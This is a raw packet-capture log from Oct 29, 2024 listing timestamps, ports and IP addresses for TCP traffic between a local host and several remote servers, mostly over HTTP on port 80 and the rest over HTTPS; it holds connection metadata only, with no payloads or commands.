Oct 29, 2024 02:46:40.313644886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313651085 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313673973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313708067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.313709974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.313757896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.314088106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314122915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314157009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314173937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.314191103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314201117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.314237118 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.314240932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314279079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314326048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.314748049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314776897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.314821959 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.314846039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392095089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392128944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392165899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392175913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392194033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392225981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392230988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392265081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392277002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392307997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392322063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392354965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392390013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.392390966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392411947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.392436028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.431940079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.431972980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432005882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432008028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432020903 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432040930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432059050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432106018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432138920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432152987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432173014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432183981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432214022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432220936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432255983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432260990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432334900 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432393074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432439089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432440996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432476997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432508945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432516098 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432532072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432543993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432554960 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432645082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432928085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432960987 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.432987928 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.432993889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433007956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433027983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433062077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433068991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433104992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433113098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433147907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433156967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433181047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433192968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433216095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433224916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433255911 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433279037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433311939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433324099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433346033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433350086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433381081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433414936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.433423996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.433578968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.437947035 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.437989950 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.438050985 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.438422918 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.438442945 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.438500881 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.438632965 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.438643932 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.438786030 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.438879013 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.438886881 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.439021111 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.439034939 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.439063072 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.439146996 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.439456940 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.439479113 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.439584970 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.440027952 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.440045118 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.440478086 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.440488100 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.440587044 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.440603971 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.440840960 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.440855026 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.441025972 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.441055059 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.441229105 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:40.441240072 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:40.472899914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.472930908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.472964048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.472986937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.505788088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.505830050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.505857944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.505867004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.505894899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.505917072 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.505989075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506019115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506076097 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.506092072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506128073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506144047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.506159067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506194115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506206036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.506243944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.506244898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.506417036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546124935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546180964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546194077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546212912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546250105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546266079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546286106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546303988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546329975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546335936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546403885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546416998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546438932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546448946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546473980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546521902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546638966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546691895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546726942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546747923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.546761990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546797991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.546807051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.547153950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547205925 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.547208071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547244072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547328949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547364950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547383070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.547401905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547437906 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547446966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.547473907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.547522068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.547950029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548002958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548038960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548063993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.548073053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548121929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.548125029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548301935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.548661947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548696041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548722982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.548729897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.548738956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.548775911 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.552257061 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.552963972 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.552984953 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.553854942 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.553859949 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.605580091 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.606237888 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.606283903 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.606846094 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.606853008 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.622720957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622760057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622791052 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.622795105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622802019 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.622833014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622879028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.622889996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622937918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622952938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.622973919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.622992992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.623004913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.623023987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.623049021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.623087883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.623096943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.623136044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.623147011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.651854038 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.652410030 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.652422905 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.652890921 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.652894974 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.662978888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663017988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663054943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663081884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663109064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663117886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663165092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663199902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663244009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663248062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663254023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663301945 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663459063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663515091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663566113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663567066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663599968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663650990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663723946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663794041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663861036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663894892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663911104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663933992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.663943052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.663980961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664016962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664035082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664066076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664412975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664463997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664468050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664500952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664535046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664551973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664570093 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664576054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664705038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664798975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664834023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664887905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664916039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664921999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664944887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.664959908 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.664968014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.665010929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.665283918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.665318966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.665335894 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.665354013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.665386915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.665402889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.665421963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.667269945 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.667722940 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.667746067 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.668162107 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.668167114 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.682919979 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.682980061 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.683208942 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.683218956 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.683362961 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.683372974 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.683381081 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.683722973 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.683805943 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.683993101 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.686388969 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.686414003 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.686496019 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.686722040 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.686737061 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.717617989 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.718414068 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.718425989 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.718940020 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.718944073 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.738014936 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.738078117 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.738136053 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.738470078 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.738500118 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.738512993 CET	49894	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.738519907 CET	443	49894	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.739613056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.739664078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.739677906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.739706993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.739706039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.739721060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.739779949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.740170002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.740226030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.740230083 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.740283966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.740299940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.740328074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.740336895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.740346909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.740381956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.743005037 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.743050098 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.743125916 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.743295908 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.743316889 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.780073881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780131102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780181885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780194044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780216932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780225992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780267954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780272007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780327082 CET	80	49838	185.215.113.206	192.168.2.5
